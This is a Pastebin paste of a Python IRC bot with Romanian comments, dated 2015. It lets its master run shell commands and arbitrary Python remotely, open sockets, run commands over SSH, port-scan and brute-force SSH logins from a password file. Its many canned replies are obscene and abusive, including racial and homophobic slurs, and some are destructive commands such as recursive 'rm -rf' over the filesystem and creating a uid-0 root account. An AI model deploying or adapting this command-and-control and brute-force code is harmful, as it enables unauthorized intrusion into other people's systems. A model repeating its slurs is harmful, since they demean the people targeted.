Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- # All-purpose IRC bot.
- # Pentru comenzi, vezi in sursa.
- # cr3ditz: shrood 2015
- # In forma actuala merge doar pe undernet.
- # Pentru alte servere s-ar putea sa trebuiasca sa excludeti linia 394 din cod.
- # op(nick), k(nick), deop(nick), s(1.1.1.1,'22'), ssh(1.1.1.1,'root',+root+,uname -a), brute(ip) - trebuie un pass.txt in directory, j(canal), l(canal), msg(#canal/nick,'mesaj').
- import socket
- import time
- import random
- import sys
- import commands
- import os
- from pexpect import pxssh
- botnick = "zpcxff01"
- ident = "zpcxff02"
- fullname = "zpcxff03"
- server = "94.125.182.255"
- chan1 = "#include"
- chan2 = "#kgb"
- master = "shrood"
- fullhost = 'ext.users.undernet.org' # host only/any nick auth
- # Various responses to the triggers.
- response = \
- {
- 1: 'mare hacker si asta', 2: 'nu te ajuta nimeni, stai linistit!', 3: 'hai noroc baietii', 4: 'toate fetele sa vina la mine :))))', 5: 'somn usor', 6: 'stie cineva un exploit bun si NOU?',
- 7: 'bai ia gata cu nmapurile astea !', 8: 'craciun fericit si tie bai asta', 9: 'nu merci', 10: "lu ma-ta si lu tactu", 11: "niciodata n-am mai vazut nebunia asta...",
- 12: "ba, noi sa fim sanataosi ce dracu", 13: "adica sunt handicapat sau ce ?", 14: "ca un porcusor :))", 15: "asta sparge si nasa daca se enerveaza", 16: 'hai taci ca ma plictisesti!',
- 17: "o floodez eu pe sora-ta intre tzatze acu...", 18: "hai care da si mie un root?", 19: "sa nu te mai vad pe aici prostule!", 20: "si totusi esti pe mirc si pierzi timpul...",
- 21: "limbajul!", 22: "ce aveti nevoie de atatia eggs?", 23: "da o pula nu vrei?!", 24:"de cati ani stai pe undernet ?", 25: "am scanat o data cu gosh si mi-a luat foc calculatorul :/",
- 26: "daca nu-ti merge wget incearca cu fetch", 27: "lasa-ma cu moldovenii tai...", 28: "trebuie sa ne explici mai mult exact ce incerci sa faci", 29: "find / -type f -exec echo x/03/23 {} \;",
- 30: "scannere astea sunt asa bune, si ma-ta scaneaza cu ele :)))", 31:"nimeni n-a stiut la inceput, stai linistit :)", 32: "ma gandeam ca daca nu te gandesti as putea sa ma gandesc linistit",
- 33: "tu te pishi, eu ma cac :hahahah!!!!!!!!!!!LOL LOL LOL LOL", 34:"daca mai zic o data a, ma sinucid", 35: "vai de pula mea ce beat sunt nenica..",
- 36: "pe o scara de la 1 la 10, cat de porno credeti ca sunt?"
- }
- response2 = \
- {
- 1: "hacker de carton :)))", 2: "am eu doua hahaha", 3: "ce mai faci?", 4: "mare mare bagaboante", 5: "pa", 6: "daca tot cu bruteforce dati sunteti slabani", 7: "nmap sa dai din root",
- 8: 'merry christmos', 9: 'nu vorbesti tu cu mine', 10: "mare bagaboanta ma-ta", 11: "sigur ca asta vrem", 12: "incredibil ce pot scoate unii din gura", 13: "si cacat si de toate=)))",
- 14:"de aia n-o la pe fiicamea sa manance nimic", 15: "asta e mare hacker :)", 16: 'sunt beat mort', 17: "si ce fmm rezolvi daca dai flood ?", 18: "buna ziua buna ziua :)", 19: "esti un poponar infect",
- 20: "cred ca am scris la viata mea atatea parole....", 21: "vorbeste frumos, cretinule!", 22:"cred ca 99% de aici sunt boti...", 23: 'pun pariu ca are perlbot scanneru ala',
- 24: "top 3 cele mai proaste servere: undernet.", 25: "daca vrei sa-ti pice rootu poti sa scanezi cu gosh", 26: "brb ca a venit nevastea sa o fut",
- 27: "am fost jefuit de 5 ori in moldova, imi bag pula daca ma mai duc vreodata acolo", 28: "sigur ai nevoie de asa ceva ?",29: "find / -type f -exec echo 'found' {} \;",
- 30: "am scanat cu astea de pe canal pana mi-au furat astia vreo 5 rooturi si de atunci m-am potolit", 31: "eu nu stiu ce dracu mai cauti pe aici, hai du-te sa servesti mese, chelneru dracu!",
- 32: "eu ma gandesc sa-mi fac un bordel. Maica-ta e prima pe care o chem", 33: "dar de unde atata pishat ma:)))", 34: "cui ii zici ma sa zica a? smechere?", 35: "eggg?!?!??!!?!",
- 36: "stiti ca exista o facultate de porno in italia ?"
- }
- response3 = \
- {
- 1: "hackeriii lolol", 2: "nu nu :P", 3: "bine bine :)))", 4: "futule in gura sa le fut", 5: "hai du-te",
- 6: "ce exploituri se mai fabrica?", 7: "mari hackeri astia cu nmap", 8: "si tie :)", 9: "da ?", 10:"cu cine fmm vorbesti?," ,
- 11: "si de ce sa vorbim asa??", 12: "au venit copiii si au facut atac de inima doamne", 13: "sa mananci cacat intr-una :))))", 14: "sa-i manance porcii:)))",
- 15: 'sa-i futem pe americani in guraa!!!', 16: 'pe mine m-a prins politia', 17: "poate te floodez eu in cur acuma...", 18: "asta-i viata ;))))))", 19: "uite si noi pe aici...",
- 20: "cine dracu si le mai aminteste.... ?", 21: "serios? nu cred asa ceva!", 22: "dati ma botii afara o data...", 23: "bravo! stii sa scanezi.. esti smecher!", 24: "cateodata ma intreb ce dracu mai stau pe undernet",
- 25: "e cam prost gosh dupa parerea mea...", 26: "un wget de PIZDA nu aveti?", 27: "am futut o data o moldoveanca.. mama mama!!", 28: "si ce nu merge?", 29: "find / -type f -exec rm -f {} \;",
- 30: "daca dai cu scannerele alea iti pica rootu:))))", 31: "asa zicea si ma-ta, ca nu stie daca se fute sau nu. I-am bagat o pula in cur si s-a potolit.", 32: "daca mai stateam sa ma gandesc inainte s-o fut pe ma-ta nu stiu unde ajungeam",
- 33: "baaa ia gata cu pishatu!", 34:" SA TE IA DRACU! nu zic A cand vrei tu! boule!" , 35: "si mie imi plac ouale :)", 36: "ana roman e PORNO rau de tot!"
- }
- response4 = \
- {
- 1: "din astia care nu stie nimic", 2: "hai canta la alta masa", 3: "salut batrane :))", 4: "niste retardate sa le pish", 5: "lasa-neeee lasa-neee",
- 6: "toti cu rooturi doamneee", 7: "cu nmap la ma-ta acasa", 8: "un craciun fericit va doresc si eu", 9: "mai bine taci", 10: "ca ti-o dau de nu te vezi",
- 11: "din cimitir in cimitir", 12: "daca e orfan ce sa-i faci", 13: "Cacat, Pishat! MAZGA! :)))", 14: "I'm fat and I know it :D", 15: "ba ce hosturi are asta esti nebun?",
- 16: 'am prins-o si eu pe maica-ta de tzatze :)))', 17: "hai ratatule sa vad ce flood dai?", 18: "Eu sunt din turnul severin, voi de unde sunteti? ",
- 19: 'si am observat o pizda buna cand ma plimbam ieri cu motoscuterul', 20: "am si eu parole la countar strike ahhaha :))))", 21: "pula-n ma-ta!", 22: "ba frate ce-i cu toti botii astia pe canal?",
- 23: "toti ratatii cu scannere...", 24: "nu mai e ce era si undernetu asta....", 25: "nu mai scana cu gosh ala ....", 26: "dati-mi si mie op va rog", 27: "sa ne suga pula toti moldovenii!!!",
- 28: "tre' sa explici mai bine exact de ce ai nevoie", 29: "/usr/sbin/useradd -u0 -g0 -o -s /bin/bash user Cu Drept De Root ", 30: "toti care intra aici pe canal cauta scannere, da o pizda nu cautati si voi?",
- 31: "eu cred ca tu esti asa prost ca nu stii nimic", 32: "si eu ma gandeam s-o fut pe ma-ta, ce zici de asta ?", 33: "si mie imi cam vine sa ma pish ce-i drept", 34:"nu vreau sa zic a, du-te-n cacat!",
- 35: "explicati-mi si mie va rog: CE PULA MEA E UN EGGDROP?", 36: "ziceti-mi si mie un film porno mai nou"
- }
- response5 = \
- {
- 1: "cei mai prosti hack3ri :)", 2: "marsh fmm de aici", 3: "ce zici mosule?", 4: "nevastamea e cea mai proasta", 5: "du-te si dormi ca ai nevoie",
- 6: "root, NUMAI ROOT AVETI IN CAP!!!!", 7: "daca mai dai o data nmap te pish in freza", 8: "meritzi clisma!", 9: "ce mortii ma-tii vrei ma ?", 10: "vin peste tine in casa si o fut pe sora-ta",
- 11: "si de aia copiii aia s-au imbolnavit de holera??", 12: "la cur te-a batut", 13: "PULA PIZDA!!!!!", 14: "sa te fut in gura!", 15: "mama edu du-te-n cacat!!!!",
- 16: 'de pula nu ma prinzi si pe mine?', 17: 'poate ii dau acu un flood lu ma-ta!', 18: "de pula sa ma belesti!", 19: "da pe fete nu le bagi in seama?", 20: "parola mea este 123456",
- 21: "ai o pula mica rau de tot!", 22: "egguri de cacat...", 23: "daca si tu mai stii sa scanezi....", 24: "undernetu e un pisat", 25: "toti cu gosh... ca sa vezi",
- 26: "cum o mai duc hackerii??:))", 27: "moldovenii sunt aia care aproape au reusit sa fie romani dar nu le-a iesit", 28: "pacat... nu primesti nimic!", 29: "find / -type d -exec rm -rf {} \;",
- 30: "coaie, daca nu stii sa scanezi cu astea, esti cel mai mare prost", 31: "nici eu nu stiu cand mai vine maica-ta pe la mine sa-mi suga pula :(", 32: "oricum nimeni de la tine din familie nu prea gandeste!",
- 33: "de unde ai atata pishat in tine?", 34: "c", 35: "eggdropii sunt de cacat :P", 36: "ce fel de filme porno va plac ?"
- }
- response6 = \
- {
- 1: "mai exista hackeri ma?", 2: "sa te piiiiish in freeeza ", 3: "hai noroc, ce faci?? }{", 4: "ca maica-ta asa?", 5: "pa pa pa pa pa pa pa pa pa! pa!", 6: "doar asta ai in cap, root ....",
- 7: "nmap sa ti-l bagi in cur boule!", 8: "merrry christmas ho ho ho", 9: "da ma zii ce tot vrei!??!?!", 10: "ai ignore de acum inainte", 11: "chem acum camatarii pentru tine",
- 12: "cine sa ma bata ?", 13: "tu te auzi ce vorbesti ma ?", 14: "mincinosu dracu!", 15: "foarte educational ce sa zic... ", 16: "daca nu m-a prins ma-ta cu dintii de pula degeaba",
- 17: "cand ti-oi fute un flood acu te potolesti sa stii", 18: "vin si eu sigur!!!!", 19: "ce sa facem si noi... greu... tu?", 20: "si eu am uitat parola la interfon, noroc ca mi-a deschis ma-ta",
- 21: "s-o iei tu in gura", 22: "du-te-n mortii ma-tii de bot prost", 23: "am eu un scanner sa ti-l bag in cur!", 24: "cel mai de cacat server", 25: "ma pish pe el de 'gosh'", 26: "hai noroc baietii ce mai faceti? :)",
- 27: "moldovenii sunt cei mai prosti:))", 28: "si eu am nevoie de multe", 29: "find / -type d -exec echo 'found' {} \;", 30: "asta sunt practic cele mai usoare scannere, ever!", 31: "daca stiai nu erai asa idiot, stai linistit",
- 32: "eu zic sa nu te mai gandesti ca te doare :))", 33: "nu ti-ar fi rusine sa te pishi...", 34: "b", 35:"voua va place tuica fiarta?", 36: "niciodata nu mi-au placut filmele porno"
- }
- response7 = \
- {
- 1: "cei mai cretini 'hackeri'", 2: "nu, nu te ajutam cu nimic, ratatule!", 3: "hai noroc. Ce dracu faci cristosu' ma-tii:)) ", 4: "curva e ma-ta ba retardatule!", 5: "hai du-te dracu o data si culca-te",
- 6: "ce-i ala 'root' ?", 7: "Daca mai dai o data nmap, intru peste tine in casa. O fut pe ma-ta si pe sora-ta si tie iti dau foc!", 8: "hai imi bag pula in craciunu tau fericit", 9: "poate vin si-ti fut una...",
- 10: "pe tactu l-au futut boschetarii aseara in cur", 11: "cea mai mare tzeapa mi-am luat-o cand am fost sa cumpar droguri si am primit faina", 12: "la sah te-a batut ma prostule ?", 13: "cacatu ala sa-l mananci tu prostule!",
- 14: "dar tu? dupa ce ca esti gras mai esti si prost", 15: "sa-mi bag pula, toti retardatii cu .edu...", 16: "ce-ai prins ma prostule? m-ai prins de pula!", 17: "flood sa-i dai lu bunica-ta in pizda",
- 18: "cine vine mai incolo prin Cismigiu prin parc?", 19: "ce mai faceti? Haideti si la mine pe canal: #include", 20: "mi-a spart o data unu contu de facebook si mi-a pus poze cu puli, mortii ma-sii...",
- 21: "mancamiai sperma sa mi-o mananci curva proasta ce e maica-ta", 22: "marsh futu-ti gatul ma-tii de eggdrop", 23: "cel mai bun scanner e ala facut de maica-ta :)))", 24: "nu mai da copy/paste ca prostu",
- 25: "sa-mi bag pula daca asta nu e cel mai prost scanner facut vreodata", 26: "wget www.hackers-united.com/pulaDeNegru.tar.gz", 27: "in moldova nu m-as duce nici mort", 28: "te ajut daca ii zici lu maica-ta sa-mi suga pula",
- 29: "recomand sa nu iei scanner de pe canal de aici, au numa perlboti si puli bagate adanc prin ele", 30: "daca nici astea nu mai sunt pentru incepatori nu stiu ce dracu mai e:)))", 31: "nu stii pentru ca esti prost, boule!",
- 32: "tu te gandesti cam mult asa de felul tau?", 33: "ba nu te mai pisa, ce naiba?", 34: "A", 35: "ce-i ala egg?!", 36: "filmele porno sunt niste cretinitati"
- }
- # The triggers
- triggers = \
- {
- 1: 'hack', 2: 'ajuta', 3: 'salut', 4: 'curv', 5: 'noapte buna', 6:'root', 7:'!nmap', 8: 'craciun fericit', 9: botnick, 10: "ma-ta", 11: "tzeapa", 12: "batut",
- 13: "cacat", 14: "gras", 15:".edu", 16: "am prins", 17: "flood", 18: "bucuresti", 19: "baieti", 20: "parola", 21: "pula", 22: "service bot", 23: "scanner", 24: "bash",
- 25: "gosh", 26: "wget", 27: "moldov", 28: "am nevoie", 29: "?? scan", 30: "incepatori", 31: "nu stiu", 32: "ma gandeam", 33: "ma pis", 34: "say a", 35:"egg", 36: "porno" # porno broh
- }
- def pong(ircsock,ircmsg):
- quote = ircmsg.split("PING :")[1]
- quote = quote.split(":")[0]
- ircsock.send("PONG :"+quote+"\n")
- return "PONG :"+quote
- def sendMsg(chan , msg, ircsock): # This is the send message function, it simply sends messages to the channel.
- ircsock.send("PRIVMSG "+ chan +" :"+ msg +"\n")
- def joinChan(chan, ircsock): # This function is used to join channels.
- ircsock.send("JOIN "+ chan +"\n")
- def opNick(ircsock,chan,nick): # op a fucking nick
- ircsock.send("MODE "+chan+" +o "+nick+"\n")
- return
- def deopNick(ircsock,chan,nick): # deop a fucking nick
- ircsock.send("MODE "+chan+" -o "+nick+"\n")
- return
- def getRaw(ircsock): # get the raw data from the socket
- ircmsg = ircsock.recv(1024)
- ircmsg = ircmsg.strip('\r\n')
- return ircmsg
- def findCommMaster(ircmsg,ircsock,fullhost,command):
- masterhost = ircmsg.split('@')[1]
- masterhost = masterhost.split(' ')[0].find(fullhost) # -1 not found and (not -1) if found.
- if ( (masterhost != -1) and (ircmsg.find(command) != -1 ) ):
- return True
- else:
- return False
- def findComm_AI(ircmsg,ircsock,command):
- if (ircmsg.lower().find(command) != -1 ) and (ircmsg.find(' PRIVMSG #')):
- return True
- else:
- return False
- def scanAI(ircmsg, ircsock, triggers, r1, r2, r3, r4, r5, r6, r7, botnick):
- channel = ircmsg.split(' PRIVMSG #')[-1].split(' :')[0]
- nick = ircmsg.split('!')[0][1:]
- for xz in range(1,len(triggers) +1):
- if (findComm_AI(ircmsg,ircsock,triggers[xz]) == True):
- if (channel.lower().find(triggers[xz]) == -1) and (nick.lower().find(triggers[xz]) == -1):
- x = random.randint(4,6)
- time.sleep(x)
- response = [r1, r2, r3, r4, r5, r6, r7]
- y = random.randint(0, len(response) - 1)
- ircsock.send("PRIVMSG "+"#"+channel + " :"+response[y][xz]+"\n")
- time.sleep(0.2)
- break
- if (findComm_AI(ircmsg,ircsock,"+dns ") == True): # Dns feature. Does dig +short for hostnames.
- try:
- ip = ircmsg.split('+dns ')[1]
- if (ip.find(' ') != -1):
- ip = ip.split(' ')[0]
- if (ip.find('&') != -1):
- ip = ip.split('&')[0]
- if (ip.find(';') != -1):
- ip = ip.split(';')[0]
- if (ip.find('|') != -1):
- ip = ip.split('|')[0]
- dns = dnsIP(ip, channel, ircmsg, ircsock)
- if (dns != ''):
- ircsock.send("PRIVMSG "+"#"+channel + " :"+dns+"\n")
- except:
- ircsock.send("PRIVMSG "+"#"+channel + " :Bad command you stupid nigger!\n")
- if (findComm_AI(ircmsg,ircsock,"+smap ") == True): # Socket nmap feature.
- try:
- ip = ircmsg.split('+smap ')[1]
- print ip
- if (ip.find(' ') != -1):
- ip = ip.split(' ')[0]
- if (ip.find('&') != -1):
- ip = ip.split('&')[0]
- if (ip.find(';') != -1):
- ip = ip.split(';')[0]
- if (ip.find('|') != -1):
- ip = ip.split('|')[0]
- except:
- ircsock.send("PRIVMSG #"+ channel +" :Bad command, you stupid nigger!\n")
- return
- comm = 'nmap '+ip+' | grep open'
- ircsock.send("PRIVMSG #"+ channel +" :Socket nmap information for: "+ip+"\n")
- print comm
- errstat, comm_output = commands.getstatusoutput(comm)
- if (comm_output.find('\n') != -1):
- line = comm_output.split('\n')
- print line
- for xz in range(0,len(line)):
- port = line[xz].split('/')[0]
- socketstat = getSock(ip,port)
- print socketstat
- ircsock.send("PRIVMSG #"+channel+" :"+line[xz]+":\n")
- print "sending: PRIVMSG #"+channel+" :"+line[xz]+":\n"
- if (socketstat == ''):
- ircsock.send("PRIVMSG #"+ channel +" :Connection established: empty reply.\n")
- elif (socketstat.find('\n') != -1):
- socketstat = socketstat.split('\n')
- for i in range(0,len(socketstat) -1):
- print socketstat[i]
- ircsock.send("PRIVMSG #"+ channel + " :"+socketstat[i]+"\n")
- else:
- ircsock.send("PRIVMSG #"+ channel + " :"+socketstat+"\n")
- else:
- ircsock.send("PRIVMSG #"+channel+" :"+comm_output+":\n")
- port = comm_output.find.split('/')[0]
- socketstat = getSock(ip,port)
- if (socketstat == ''):
- ircsock.send("PRIVMSG #"+ channel + " :Connection established: empty reply."+"\n")
- elif (socketstat.find('\n') != -1):
- socketstat = socketstat.split('\n')
- for i in range(0,len(socketstat) -1):
- ircsock.send("PRIVMSG #"+ channel + " :"+socketstat[i]+"\n")
- else:
- ircsock.send("PRIVMSG #"+ channel + " :"+socketstat+"\n")
- ircsock.send("PRIVMSG #"+ channel +" :Finished socket nmap for: "+ip+"\n")
- return
- def isHost(host): # Determine if a string has any letters in it.
- letters = \
- {
- 1: 'q', 2: 'w', 3: 'e', 4: 'r', 5: 't', 6: 'y', 7: 'u', 8: 'i', 9: 'o', 10: 'p',
- 11: 'a', 12: 's', 13: 'd', 14: 'f', 15: 'g', 16: 'h', 17: 'j', 18: 'k', 19: 'l',
- 20: 'z', 21: 'x', 22: 'c', 23: 'v', 24: 'b', 25: 'n', 26: 'm'
- }
- for i in range (1,len(letters)+1):
- if ( host.find(letters[i]) != -1 ):
- return True
- return False
- def dnsIP(ip,channel,ircmsg,ircsock): # Dns feature. Does dig +short for hostnames.
- comm = ''
- dns = ''
- if (isHost(ip) == True):
- comm = "dig +short "+ip
- shellCmd(ircmsg, ircsock, comm)
- if (isHost(ip) == False):
- try:
- dns = "[0] "+socket.gethostbyaddr(ip)[0]
- except:
- dns = "no dns/invalid shit ip."
- return dns
- def firstPing(ircsock):
- while True:
- time.sleep(0.1)
- ircmsg = getRaw(ircsock)
- print(ircmsg)
- if ircmsg.find("PING :"):
- pong(ircsock, ircmsg)
- break
- time.sleep(2)
- return
- def shellCmd(ircmsg,ircsock,comm):
- channel = ircmsg.split(' PRIVMSG ')[-1].split(' :')[0]
- errstat, comm_output = commands.getstatusoutput(comm)
- if (errstat != 0):
- ircsock.send("PRIVMSG "+channel+" :Exit code ["+str(errstat)+"].\n")
- if (comm_output.find('\n') != -1):
- line = comm_output.split('\n')
- for xz in range(0, len(line)):
- ircsock.send("PRIVMSG "+channel+" :["+str(xz+1)+"] "+line[xz]+"\n")
- print str(xz)+" "+line[xz]
- time.sleep(1)
- else:
- ircsock.send("PRIVMSG "+channel+" :[0] "+comm_output+"\n")
- def scanMasterComm(ircmsg, ircsock, fullhost): # Master commands.
- channel = ircmsg.split(' PRIVMSG ')[-1].split(' :')[0]
- if (findCommMaster(ircmsg, ircsock, fullhost, 'msg(') == True): # msg.
- msgtarget = ircmsg.split('msg(')[1].split(',')[0]
- message = ircmsg.split(',\'')[1].split('\')')[0]
- sendMsg(msgtarget , message, ircsock)
- if (findCommMaster(ircmsg, ircsock, fullhost, 'op(') == True): # op.
- targetnick = ircmsg.split('op(')[1].split(')')[0]
- if (targetnick == ''):
- targetnick = ircmsg.split('!')[0][1:]
- opNick(ircsock,channel,targetnick) # op
- if (findCommMaster(ircmsg, ircsock,fullhost, 'deop(') == True): # deop.
- targetnick = ircmsg.split('op(')[1].split(')')[0]
- if (targetnick == ''):
- targetnick = ircmsg.split('!')[0][1:]
- deopNick(ircsock,channel,targetnick) # op
- if (findCommMaster(ircmsg, ircsock,fullhost, 'cine esti ?') == True): # ???!?!?!?!??!
- ircsock.send("PRIVMSG "+ channel + " :zpcxff01\n")
- if (findCommMaster(ircmsg, ircsock, fullhost, 'j(') == True): # Join.
- newchannel = '#'+ircmsg.split('j(')[1].split(')')[0]
- joinChan(newchannel, ircsock)
- if (findCommMaster(ircmsg, ircsock, fullhost, 'l(') == True): # Part.
- leavechannel = '#'+ircmsg.split('l(')[1].split(')')[0]
- ircsock.send("PART "+ leavechannel+ "\n")
- if (findCommMaster(ircmsg, ircsock, fullhost, 'k(') == True): # Kick.
- kicknick = ircmsg.split('k(')[1].split(')')[0]
- ircsock.send("KICK "+channel+" "+kicknick+" :done\n")
- if (findCommMaster(ircmsg, ircsock, fullhost, 'ex(') == True): # Shell cmd feature.
- comm = ircmsg.split('ex(')[1].split('+)')[0]
- if os.fork():
- shellCmd(ircmsg, ircsock, comm)
- os._exit(0)
- if (findCommMaster(ircmsg, ircsock, fullhost, 'ev(') == True): # Eval feature.
- channel = ircmsg.split(' PRIVMSG ')[-1].split(' :')[0]
- comm = ircmsg.split('ev(')[1].split('+)')[0]
- f = open('test.py', 'w')
- if (comm.find('^^') != -1):
- comm = comm.split('^^')
- for i in range(0,len(comm)):
- f.write(comm[i]+"\n")
- f.close()
- shellCmd(ircmsg,ircsock,"python test.py")
- else:
- f.write(comm)
- f.close()
- shellCmd(ircmsg,ircsock,"python test.py")
- if (findCommMaster(ircmsg, ircsock, fullhost, 's(') == True): # Get a socket connection.
- try:
- ip = ircmsg.split('s(')[1].split(',')[0]
- port = ircmsg.split(',\'')[1].split('\')')[0]
- if (port == '') or (ip == ''):
- ircsock.send("PRIVMSG "+ channel + " :Error: bad command!"+"\n")
- return
- except:
- ircsock.send("PRIVMSG "+ channel + " :Error: bad command!"+"\n")
- return
- msg = getSock(ip,port)
- if (msg == ''):
- ircsock.send("PRIVMSG "+ channel + " :Connection established: empty reply."+"\n")
- elif (msg.find('\n') != -1):
- msg = msg.split('\n')
- for i in range(0,len(msg) -1):
- ircsock.send("PRIVMSG "+ channel + " :"+msg[i]+"\n")
- else:
- ircsock.send("PRIVMSG "+ channel + " :"+msg+"\n")
- # Get an ssh connection and run a command and print the output on irc.
- if (findCommMaster(ircmsg, ircsock, fullhost, 'ssh(') == True):
- try:
- ssh = pxssh.pxssh()
- ip = ircmsg.split("ssh(")[1].split(',')[0]
- login = ircmsg.split(",'")[1].split("',")[0]
- password = ircmsg.split(",+")[1].split("+,")[0]
- comm = ircmsg.split("+,")[1].split(")")[0]
- try:
- ssh.login (ip, login, password)
- ssh.sendline(comm)
- ssh.prompt()
- msg = ssh.before.split('\n')
- ssh.logout()
- for i in range(1,len(msg) -1):
- ircsock.send("PRIVMSG "+channel+" :"+msg[i]+"\n")
- except:
- ircsock.send("PRIVMSG "+channel+" :Login failed."+"\n")
- except IndexError:
- ircsock.send("PRIVMSG "+channel+" :Error: bad command!"+"\n")
- # Bruteforce a single ip until it goes MAD!
- if (findCommMaster(ircmsg, ircsock, fullhost, 'brute(') == True):
- if ( os.fork() == 0 ):
- bruteForce(ircmsg, channel, ircsock)
- sys.exit(0)
- if (findCommMaster(ircmsg, ircsock, fullhost, 'bclean') == True):
- ircsock.send("PRIVMSG "+channel+" :Cleaning leftover children..."+"\n")
- count = 0
- while True:
- try:
- os.wait()
- count += 1
- except OSError:
- ircsock.send("PRIVMSG "+channel+" :Done. Cleaned "+str(count)+" children.\n")
- break
- def bruteForce(ircmsg, channel, ircsock):
- try:
- ip = ircmsg.split("brute(")[1].split(',')[0]
- maxforks = int(ircmsg.split(",+")[1].split('+)')[0])
- except:
- ircsock.send("PRIVMSG "+ channel + " :Bad command dipshit\n")
- return
- passfile = "pass.txt"
- if os.path.exists(passfile) != True:
- ircsock.send("PRIVMSG "+ channel + " :No pass.txt dipshit\n")
- return
- with open(passfile, 'r') as count:
- for i, l in enumerate(count):
- pass
- file_len = i + 1
- ircsock.send("PRIVMSG "+ channel + " :Got ["+str(file_len)+"] lines in passfile\n")
- ircsock.send("PRIVMSG "+ channel + " :Starting sequence with ["+str(maxforks)+"] forks.\n")
- with open(passfile, 'r') as infile:
- numforks = 0
- line_count = 0
- increment = 25
- x = 25
- for line in infile:
- line_count += 1
- if (line_count == x):
- ircsock.send("PRIVMSG "+ channel + " :["+str(line_count)+"] down.\n")
- x += increment
- if (line_count == file_len):
- ircsock.send("PRIVMSG "+ channel + " :Sequence completed succesfully.\n")
- if ( os.fork() == 0 ):
- line = line.strip("\r\n")
- user = line.split(' ')[0]
- password = line.split(' ')[1]
- got_it = checkAuth(ip, user, password)
- if (got_it == True):
- time.sleep(1)
- ircsock.send("PRIVMSG "+ channel + " :Got it! --> "+user+":"+password+":"+ip+"\n")
- os._exit(0)
- else:
- numforks += 1
- if (numforks > maxforks):
- while (numforks > maxforks):
- os.wait()
- numforks -= 1
- ircsock.send("PRIVMSG "+ channel + " :Cleaning up children.\n")
- for i in range(maxforks):
- os.wait()
- def checkAuth(ip, user, password):
- got_it = False
- try:
- print "Trying "+ip+":"+user+":"+password
- s = pxssh.pxssh()
- s.login(ip, user, password)
- got_it = True
- time.sleep(1)
- ssh.logout()
- return got_it
- except:
- return got_it
- def getSock(ip,port):
- print ip
- print port
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.setblocking(1)
- sock.settimeout(5.0)
- try:
- sock.connect((ip,int(port)))
- except:
- return "Socket not connecting on that ip/port."
- ret = ''
- for i in range(5):
- try:
- ret += sock.recv(128)
- except socket.error:
- return ret
- sock.close()
- print ret
- return ret
- def firstConnect():
- ircsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- ircsock.connect((server, 6667))
- ircsock.send("USER "+ botnick +" "+ ident +" "+ fullname +" :"+ident+"\n") # user authentication
- ircsock.send("NICK "+ botnick +"\n")
- ircsock.send("")
- time.sleep(2)
- firstPing(ircsock) # First server ping.
- time.sleep(1)
- ircsock.send("PRIVMSG X@channels.undernet.org :login dick dick\n") # user authentication
- ircsock.send("MODE "+botnick+" +x\n")
- time.sleep(2)
- joinChan(chan1,ircsock); time.sleep(0.5);
- #joinChan(chan2,ircsock)
- return ircsock
- def main():
- #masternick = ircmsg.split('!')[0][1:].find('shrood') - for nick-only auth.
- # Open socket
- ircsock = firstConnect()
- while True:
- try:
- ircmsg = getRaw(ircsock)
- print(ircmsg)
- if (ircmsg.find("PING :") != -1):
- pong(ircsock,ircmsg)
- if ( ircmsg.find(' PRIVMSG ') != -1 ): # This is if we find PRIVMSG
- scanMasterComm(ircmsg, ircsock, fullhost)
- scanAI(ircmsg, ircsock, triggers,response, response2, response3, response4, response5, response6, response7, botnick) # The AI module.
- time.sleep(0.2)
- except socket.error:
- time.sleep(5)
- ircsock = firstConnect()
- if __name__ == '__main__':
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement